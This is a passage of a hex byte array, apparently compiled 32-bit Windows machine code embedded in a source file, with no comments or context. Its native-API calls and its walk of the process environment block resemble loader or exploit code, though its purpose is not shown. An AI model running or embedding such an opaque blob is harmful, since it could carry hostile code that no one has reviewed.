,0x00,0x66,0xC7,0x45,0xEA,0xA2,0x00,0xC7,0x45,0xC8,0x18,0x00,0x00,0x00,0xC7,0x45,0xCC,0x00,0x00,0x00,0x00,0xC7,0x45,0xD4,0x40,0x00,0x00,0x00,0x8D,0x45,0xE8,0x89,0x45,0xD0,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x18,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x14,0x01,0x00,0x00,0x00,0xC7,0x44,0x24,0x10,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x0C,0x00,0x00,0x00,0x00,0x8D,0x45,0xC8,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x3F,0x00,0x0F,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x61,0x65,0x00,0x00,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x78,0x62,0xC7,0x45,0xE4,0xBE,0xE1,0x48,0x65,0x66,0xC7,0x45,0xE0,0x10,0x00,0x66,0xC7,0x45,0xE2,0x12,0x00,0xC7,0x45,0xC4,0x02,0x00,0x00,0x00,0x8B,0x45,0x08,0x8B,0x00,0xC7,0x44,0x24,0x14,0x04,0x00,0x00,0x00,0x8D,0x55,0xC4,0x89,0x54,0x24,0x10,0xC7,0x44,0x24,0x0C,0x04,0x00,0x00,0x00,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0x8D,0x55,0xE0,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xE8,0x2C,0x65,0x00,0x00,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x78,0x0F,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xF4,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x48,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x01,0x00,0x00,0xC0,0xB9,0x00,0x00,0x00,0x00,0xB8,0x18,0x00,0x00,0x00,0x83,0xE0,0xFC,0x89,0xC2,0xB8,0x00,0x00,0x00,0x00,0x89,0x4C,0x05,0xD4,0x83,0xC0,0x04,0x39,0xD0,0x72,0xF5,0xC7,0x45,0xCC,0x00,0x00,0x00,0x00,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0xC7,0x45,0xD0,0xD0,0xE1,0x48,0x65,0x66,0xC7,0x45,0xCC,0x46,0x00,0x66,0xC7,0x45,0xCE,0x48,0x00,0x8D,0x45,0xCC,0x89,0x45,0xDC,0xC7,0x45,0xD4,0x18,0x00,0x00,0x00,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x8D,0x45,0xD4,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x01,0x00,0x10,0x00,0x8D,0x45,0xEC,0x89,0x04,0x24,0xE8,0xD3,0x64,0x00,0x00,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x78,0x2D,0x8B,0x45,0xEC,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xE8,0x1B,0x62,0x00,0x00,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x78,0x0C,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xEC,0x85,0xC0,0x74,0x0B,0x8B,0x45,0xEC,0x89,0x04,0x24,0xE8,0x46,0x60,0x00,0x00,0x8B,0x45,0xF4,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x68,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x01,0x00,0x00,0xC0,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xC7,0x04,0x24,0x18,0xE2,0x48,0x65,0xE8,0x30,0x29,0x00,0x00,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0xFE,0xF2,0xC3,0x6C,0x89,0x04,0x24,0xE8,0x9F,0x27,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x74,0x5B,0xC7,0x45,0xE0,0x75,0x08,0xBC,0xA3,0xC7,0x45,0xE4,0x3A,0x0B,0x94,0x41,0xC7,0x44,0x24,0x18,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x14,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x10,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x0C,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8D,0x45,0xE0,0x89,0x04,0x24,0xE8,0xC1,0x63,0x00,0x00,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x0F,0x89,0xC4,0x00,0x00,0x00,0xE9,0xCC,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xC7,0x04,0x24,0x18,0xE2,0x48,0x65,0xE8,0xA0,0x28,0x00,0x00,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x99,0xF8,0x0F,0x98,0x89,0x04,0x24,0xE8,0x0F,0x27,0x00,0x00,0x89,0x45,0xE8,0x83,0x7D,0xE8,0x00,0x0F,0x84,0x8F,0x00,0x00,0x00,0xC7,0x45,0xD0,0xD8,0xEA,0x6E,0xE4,0x66,0xC7,0x45,0xD4,0x54,0x0C,0x66,0xC7,0x45,0xD6,0x89,0x44,0xC7,0x45,0xD8,0x98,0x98,0x8F,0xA7,0xC7,0x45,0xDC,0x9D,0x05,0x9E,0x0E,0xC7,0x45,0xC0,0x00,0x00,0x00,0x00,0xC7,0x45,0xC4,0x00,0x00,0x00,0x00,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xC7,0x45,0xCC,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x08,0x10,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8D,0x45,0xC0,0x89,0x04,0x24,0xE8,0xEB,0x9A,0x00,0x00,0xC7,0x44,0x24,0x0C,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0x8D,0x45,0xC0,0x89,0x44,0x24,0x04,0x8D,0x45,0xD0,0x89,0x04,0x24,0x8B,0x45,0xE8,0xFF,0xD0,0x83,0xEC,0x10,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x78,0x0C,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xF4,0xC9,0xC3,0x55,0x89,0xE5,0x57,0x81,0xEC,0x94,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x01,0x00,0x00,0xC0,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xB9,0x00,0x00,0x00,0x00,0xB8,0x18,0x00,0x00,0x00,0x83,0xE0,0xFC,0x89,0xC2,0xB8,0x00,0x00,0x00,0x00,0x89,0x4C,0x05,0xCC,0x83,0xC0,0x04,0x39,0xD0,0x72,0xF5,0x8D,0x55,0xA0,0xB8,0x00,0x00,0x00,0x00,0xB9,0x0B,0x00,0x00,0x00,0x89,0xD7,0xF3,0xAB,0xC7,0x45,0x9C,0x00,0x00,0x00,0x00,0xE8,0x14,0xFE,0xFF,0xFF,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x0F,0x88,0x62,0x01,0x00,0x00,0xE8,0x13,0xFD,0xFF,0xFF,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x0F,0x88,0x53,0x01,0x00,0x00,0xC7,0x45,0xEC,0x2C,0xE2,0x48,0x65,0x66,0xC7,0x45,0xE8,0x42,0x00,0x66,0xC7,0x45,0xEA,0x44,0x00,0xC7,0x45,0xCC,0x18,0x00,0x00,0x00,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0xC7,0x45,0xD4,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x08,0x2C,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8D,0x45,0xA0,0x89,0x04,0x24,0xE8,0xCB,0x99,0x00,0x00,0xC7,0x45,0xB0,0x68,0x05,0x00,0x00,0xC7,0x44,0x24,0x28,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x24,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x1C,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x18,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x14,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x10,0x00,0x00,0x02,0x00,0x8D,0x45,0xA0,0x89,0x44,0x24,0x0C,0x8D,0x45,0xCC,0x89,0x44,0x24,0x08,0x8D,0x45,0xE8,0x89,0x44,0x24,0x04,0x8D,0x45,0xE4,0x89,0x04,0x24,0xE8,0xE1,0x61,0x00,0x00,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x0F,0x88,0x92,0x00,0x00,0x00,0xC7,0x45,0x9C,0x68,0x05,0x00,0x00,0x8B,0x45,0xE4,0xC7,0x44,0x24,0x1C,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x18,0x00,0x00,0x00,0x00,0x8D,0x55,0x9C,0x89,0x54,0x24,0x14,0x8B,0x55,0x0C,0x89,0x54,0x24,0x10,0xC7,0x44,0x24,0x0C,0x00,0x00,0x00,0x00,0x8B,0x55,0x08,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x02,0x00,0x89,0x04,0x24,0xE8,0xAE,0x61,0x00,0x00,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x78,0x45,0x83,0x7D,0xF0,0x00,0x78,0x42,0x81,0x7D,0xF0,0x02,0x01,0x00,0x00,0x74,0x39,0x8B,0x45,0x0C,0x8B,0x40,0x1C,0x85,0xC0,0x79,0x1A,0xC7,0x04,0x24,0x70,0xE2,0x48,0x65,0xE8,0xFE,0x06,0x00,0x00,0xC7,0x04,0x24,0x98,0xE2,0x48,0x65,0xE8,0xF2,0x06,0x00,0x00,0xEB,0x16,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xE4,0x85,0xC0,0x74,0x0B,0x8B,0x45,0xE4,0x89,0x04,0x24,0xE8,0xC7,0x5C,0x00,0x00,0x8B,0x45,0xF4,0x8B,0x7D,0xFC,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x38,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x01,0x00,0x00,0xC0,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x8B,0x45,0x0C,0xC7,0x00,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x0C,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x00,0x04,0x00,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x4E,0x33,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x75,0x21,0x8B,0x45,0x08,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0x9C,0xE2,0x48,0x65,0xE8,0x56,0x06,0x00,0x00,0xC7,0x04,0x24,0x98,0xE2,0x48,0x65,0xE8,0x4A,0x06,0x00,0x00,0xEB,0x60,0x8B,0x45,0xE8,0x8D,0x55,0xE8,0x89,0x54,0x24,0x14,0xC7,0x44,0x24,0x10,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x0C,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x08,0x00,0x08,0x00,0x00,0x89,0x44,0x24,0x04,0x8B,0x45,0xEC,0x89,0x04,0x24,0xE8,0x04,0x62,0x00,0x00,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x78,0x22,0x8B,0x45,0xE8,0x89,0x04,0x24,0xE8,0x3F,0x1E,0x00,0x00,0x8B,0x55,0x0C,0x89,0x02,0x8B,0x45,0x0C,0x8B,0x00,0x85,0xC0,0x74,0x0C,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x7D,0xEC,0x00,0x74,0x0B,0x8B,0x45,0xEC,0x89,0x04,0x24,0xE8,0xD6,0x5B,0x00,0x00,0x8B,0x45,0xE8,0x85,0xC0,0x74,0x0B,0x8B,0x45,0xE8,0x89,0x04,0x24,0xE8,0xC4,0x5B,0x00,0x00,0x8B,0x45,0xF4,0xC9,0xC3,0x55,0x89,0xE5,0x57,0x81,0xEC,0x24,0x0A,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x01,0x00,0x00,0xC0,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0xC7,0x45,0xD4,0x00,0x00,0x00,0x00,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0xC7,0x45,0xCC,0x00,0x00,0x00,0x00,0xC7,0x45,0xC0,0x00,0x00,0x00,0x00,0xC7,0x45,0xC4,0x00,0x00,0x00,0x00,0xC7,0x45,0xBC,0x00,0x00,0x00,0x00,0xB9,0x00,0x00,0x00,0x00,0xB8,0x18,0x00,0x00,0x00,0x83,0xE0,0xFC,0x89,0xC2,0xB8,0x00,0x00,0x00,0x00,0x89,0x4C,0x05,0xA4,0x83,0xC0,0x04,0x39,0xD0,0x72,0xF5,0xC7,0x45,0x9C,0x00,0x00,0x00,0x00,0xC7,0x45,0xA0,0x00,0x00,0x00,0x00,0xC7,0x45,0x98,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x8D,0x95,0x48,0xFF,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xB9,0x14,0x00,0x00,0x00,0x89,0xD7,0xF3,0xAB,0xC7,0x85,0x40,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0x44,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x8D,0x95,0x74,0xFC,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xB9,0xB3,0x00,0x00,0x00,0x89,0xD7,0xF3,0xAB,0xC7,0x85,0x48,0xFF,0xFF,0xFF,0x01,0x00,0x00,0xC0,0x8D,0x85,0x48,0xFF,0xFF,0xFF,0x89,0x85,0x40,0xFF,0xFF,0xFF,0x8D,0x85,0x74,0xFC,0xFF,0xFF,0x89,0x85,0x44,0xFF,0xFF,0xFF,0x8D,0x45,0x98,0x89,0x04,0x24,0xE8,0x3C,0xF8,0xFF,0xFF,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x0F,0x84,0xAA,0x03,0x00,0x00,0xC7,0x45,0xA4,0x18,0x00,0x00,0x00,0xC7,0x45,0xA8,0x00,0x00,0x00,0x00,0xC7,0x45,0xB0,0x02,0x00,0x00,0x00,0xC7,0x45,0xAC,0x00,0x00,0x00,0x00,0xC7,0x45,0xB4,0x00,0x00,0x00,0x00,0xC7,0x45,0xB8,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x10,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x0C,0x00,0x00,0x00,0x00,0x8D,0x45,0xA4,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x10,0x8D,0x45,0xD8,0x89,0x04,0x24,0xE8,0x5C,0x5F,0x00,0x00,0x89,0x45,0xE8,0x83,0x7D,0xE8,0x00,0x0F,0x88,0x4C,0x03,0x00,0x00,0xC7,0x44,0x24,0x10,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x0C,0x00,0x00,0x00,0x00,0x8D,0x45,0xA4,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x10,0x8D,0x45,0xD4,0x89,0x04,0x24,0xE8,0x25,0x5F,0x00,0x00,0x89,0x45,0xE8,0x83,0x7D,0xE8,0x00,0x0F,0x88,0x18,0x03,0x00,0x00,0xC7,0x45,0xC0,0xF8,0x00,0x00,0x00,0xC7,0x45,0xC4,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x18,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x14,0x00,0x00,0x00,0x08,0xC7,0x44,0x24,0x10,0x04,0x00,0x00,0x00,0x8D,0x45,0xC0,0x89,0x44,0x24,0x0C,0x8D,0x45,0xA4,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x1F,0x00,0x0F,0x00,0x8D,0x45,0xD0,0x89,0x04,0x24,0xE8,0xE2,0x5C,0x00,0x00,0x89,0x45,0xE8,0x83,0x7D,0xE8,0x00,0x0F,0x88,0xC7,0x02,0x00,0x00,0x8B,0x45,0xD0,0xC7,0x44,0x24,0x24,0x04,0x00,0x00,0x00,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x1C,0x01,0x00,0x00,0x00,0x8D,0x55,0xBC,0x89,0x54,0x24,0x18,0xC7,0x44,0x24,0x14,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x10,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x0C,0x00,0x00,0x00,0x00,0x8D,0x55,0xCC,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0xFF,0xFF,0xFF,0xFF,0x89,0x04,0x24,0xE8,0xBD,0x5F,0x00,0x00,0x89,0x45,0xE8,0x83,0x7D,0xE8,0x00,0x0F,0x88,0x6C,0x02,0x00,0x00,0x8D,0x45,0xE0,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x8E,0xFC,0xFF,0xFF,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x0F,0x84,0x50,0x02,0x00,0x00,0x8B,0x45,0x08,0x89,0x45,0x9C,0x8B,0x45,0xE0,0x89,0x45,0xA0,0x8D,0x45,0x9C,0x89,0x44,0x24,0x0C,0x8D,0x45,0xA4,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x08,0x00,0x00,0x8D,0x45,0xDC,0x89,0x04,0x24,0xE8,0x43,0x5F,0x00,0x00,0x89,0x45,0xE8,0x83,0x7D,0xE8,0x00,0x0F,0x88,0x19,0x02,0x00,0x00,0x8D,0x95,0x7C,0xFB,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xB9,0x3E,0x00,0x00,0x00,0x89,0xD7,0xF3,0xAB,0xC7,0x85,0x7C,0xFB,0xFF,0xFF,0xF8,0x00,0x00,0x00,0x8D,0x85,0x40,0xFF,0xFF,0xFF,0x89,0x85,0x24,0xFC,0xFF,0xFF,0x8B,0x45,0xD4,0x89,0x85,0x4C,0xFC,0xFF,0xFF,0x8B,0x45,0xD8,0x89,0x85,0x44,0xFC,0xFF,0xFF,0xC7,0x85,0x2C,0xFC,0xFF,0xFF,0x05,0x40,0x00,0x80,0xC7,0x85,0x64,0xFC,0xFF,0xFF,0x01,0x00,0x00,0xC0,0xE8,0x8D,0x09,0x00,0x00,0x89,0x85,0x6C,0xFC,0xFF,0xFF,0x8B,0x45,0x08,0x89,0x85,0x80,0xFB,0xFF,0xFF,0x8B,0x45,0x0C,0x89,0x85,0x34,0xFC,0xFF,0xFF,0x8B,0x45,0xE0,0x89,0x85,0x84,0xFB,0xFF,0xFF,0x8B,0x45,0xDC,0x89,0x85,0x3C,0xFC,0xFF,0xFF,0x8D,0x95,0x10,0xF6,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xB9,0x5A,0x01,0x00,0x00,0x89,0xD7,0xF3,0xAB,0x66,0xC7,0x85,0x12,0xF6,0xFF,0xFF,0x68,0x05,0x66,0xC7,0x85,0x10,0xF6,0xFF,0xFF,0x50,0x05,0xC7,0x85,0x28,0xF6,0xFF,0xFF,0x00,0x00,0x00,0x20,0xC7,0x85,0x30,0xF6,0xFF,0xFF,0x00,0x00,0x00,0x00,0x8B,0x45,0xD0,0x89,0x85,0x38,0xF6,0xFF,0xFF,0x8B,0x45,0xD4,0x89,0x85,0x48,0xF6,0xFF,0xFF,0x8B,0x45,0xD8,0x89,0x85,0x40,0xF6,0xFF,0xFF,0x8B,0x45,0xD0,0x89,0x85,0x50,0xF6,0xFF,0xFF,0x8B,0x85,0x34,0xFC,0xFF,0xFF,0x89,0x85,0x58,0xF6,0xFF,0xFF,0x8B,0x85,0x3C,0xFC,0xFF,0xFF,0x89,0x85,0x60,0xF6,0xFF,0xFF,0x8B,0x85,0x80,0xFB,0xFF,0xFF,0x89,0x85,0x34,0xF6,0xFF,0xFF,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0xC7,0x44,0x24,0x08,0x68,0x05,0x00,0x00,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x4C,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x0F,0x84,0xEA,0x00,0x00,0x00,0x8B,0x45,0xF0,0x66,0xC7,0x40,0x02,0x68,0x05,0x8B,0x45,0xF0,0x66,0xC7,0x00,0x50,0x05,0x8B,0x45,0xCC,0xC7,0x44,0x24,0x08,0xF8,0x00,0x00,0x00,0x8D,0x95,0x7C,0xFB,0xFF,0xFF,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xE8,0x8B,0x93,0x00,0x00,0x8B,0x45,0xF0,0x89,0x44,0x24,0x04,0x8D,0x85,0x10,0xF6,0xFF,0xFF,0x89,0x04,0x24,0xE8,0xD3,0xF8,0xFF,0xFF,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x0F,0x84,0x9D,0x00,0x00,0x00,0x8B,0x45,0xF0,0x8B,0x40,0x1C,0x85,0xC0,0x0F,0x88,0x92,0x00,0x00,0x00,0x8B,0x45,0xF0,0x8B,0x40,0x18,0x3D,0x02,0x00,0x00,0x20,0x0F,0x85,0x84,0x00,0x00,0x00,0x8B,0x45,0xF0,0x8B,0x40,0x20,0x89,0x45,0xE4,0x83,0x7D,0xE4,0x00,0x74,0x78,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0x8B,0x45,0xE4,0x89,0x04,0x24,0xE8,0xE8,0x58,0x00,0x00,0x89,0x45,0xE8,0x81,0x7D,0xE8,0x02,0x01,0x00,0x00,0x74,0x1F,0x83,0x7D,0xE8,0x00,0x78,0x19,0x81,0x7D,0xE8,0xC0,0x00,0x00,0x00,0x74,0xCA,0x81,0x7D,0xE8,0x01,0x01,0x00,0x00,0x74,0xC1,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xE8,0x75,0x06,0x00,0x00,0x89,0x45,0xEC,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x22,0x90,0xEB,0x1F,0x90,0xEB,0x1C,0x90,0xEB,0x19,0x90,0xEB,0x16,0x90,0xEB,0x13,0x90,0xEB,0x10,0x90,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xDC,0x85,0xC0,0x74,0x0B,0x8B,0x45,0xDC,0x89,0x04,0x24,0xE8,0xCB,0x56,0x00,0x00,0x8B,0x45,0xCC,0x85,0xC0,0x74,0x16,0x8B,0x45,0xCC,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0xFF,0xFF,0xFF,0xFF,0xE8,0x23,0x5D,0x00,0x00,0x89,0x45,0xE8,0x8B,0x45,0xD0,0x85,0xC0,0x74,0x0B,0x8B,0x45,0xD0,0x89,0x04,0x24,0xE8,0x9C,0x56,0x00,0x00,0x8B,0x45,0xD4,0x85,0xC0,0x74,0x0B,0x8B,0x45,0xD4,0x89,0x04,0x24,0xE8,0x8A,0x56,0x00,0x00,0x8B,0x45,0xD8,0x85,0xC0,0x74,0x0B,0x8B,0x45,0xD8,0x89,0x04,0x24,0xE8,0x78,0x56,0x00,0x00,0x8B,0x45,0x98,0x85,0xC0,0x74,0x16,0x8B,0x45,0x98,0x89,0x04,0x24,0xE8,0xAF,0xF3,0xFF,0xFF,0x8B,0x45,0x98,0x89,0x04,0x24,0xE8,0x5B,0x56,0x00,0x00,0x83,0x7D,0xF0,0x00,0x74,0x4B,0x83,0x7D,0xF0,0x00,0x74,0x45,0xC7,0x44,0x24,0x08,0x68,0x05,0x00,0x00,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0x21,0x92,0x00,0x00,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x8B,0x55,0xF0,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x8B,0x45,0xF4,0x8B,0x7D,0xFC,0xC9,0xC3,0x90,0x90,0x90,0x55,0x89,0xE5,0x53,0x83,0xEC,0x34,0xC7,0x04,0x24,0xFF,0xFF,0xFF,0xFF,0xA1,0x24,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x04,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x8D,0x45,0x0C,0x89,0x45,0xEC,0x8B,0x45,0xEC,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xA1,0x90,0xD0,0x48,0x65,0xFF,0xD0,0x83,0xC0,0x02,0x89,0x45,0xF4,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x8B,0x55,0xF4,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x4C,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x0F,0x84,0xB2,0x00,0x00,0x00,0x8B,0x45,0xEC,0x89,0x44,0x24,0x0C,0x8B,0x45,0x08,0x89,0x44,0x24,0x08,0x8B,0x45,0xF4,0x89,0x44,0x24,0x04,0x8B,0x45,0xF0,0x89,0x04,0x24,0xA1,0x94,0xD0,0x48,0x65,0xFF,0xD0,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0x71,0x91,0x00,0x00,0x89,0xC3,0xC7,0x04,0x24,0xF5,0xFF,0xFF,0xFF,0xA1,0x48,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x04,0xC7,0x44,0x24,0x10,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x0C,0x00,0x00,0x00,0x00,0x89,0x5C,0x24,0x08,0x8B,0x55,0xF0,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xA1,0x78,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x14,0x83,0x7D,0xF0,0x00,0x74,0x44,0x8B,0x45,0xF4,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0xEE,0x90,0x00,0x00,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x8B,0x55,0xF0,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x90,0x8B,0x5D,0xFC,0xC9,0xC3,0x90,0x90,0x55,0x89,0xE5,0x83,0xEC,0x28,0xE8,0x5A,0x54,0x00,0x00,0x89,0x45,0xF0,0xC7,0x45,0xE0,0x30,0x00,0x00,0x00,0x8B,0x45,0xE0,0x64,0x8B,0x00,0x89,0x45,0xDC,0x8B,0x45,0xDC,0x89,0x45,0xEC,0x8B,0x45,0xEC,0x8B,0x40,0x0C,0x89,0x45,0xE8,0x8B,0x45,0xE8,0x83,0xC0,0x0C,0x89,0x45,0xE4,0